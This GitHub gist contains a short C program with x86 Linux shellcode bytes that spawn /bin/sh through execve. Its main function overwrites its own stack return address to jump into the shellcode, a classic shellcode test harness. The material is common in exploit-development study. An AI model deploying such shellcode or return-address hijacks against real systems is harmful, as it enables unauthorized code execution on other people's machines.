Skip to content

Instantly share code, notes, and snippets.

@bonipart
Created February 27, 2012 13:32
Show Gist options
  • Save bonipart/1923838 to your computer and use it in GitHub Desktop.
Save bonipart/1923838 to your computer and use it in GitHub Desktop.
#include <stdlib.h>
#include <unistd.h>
unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
int main(void) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment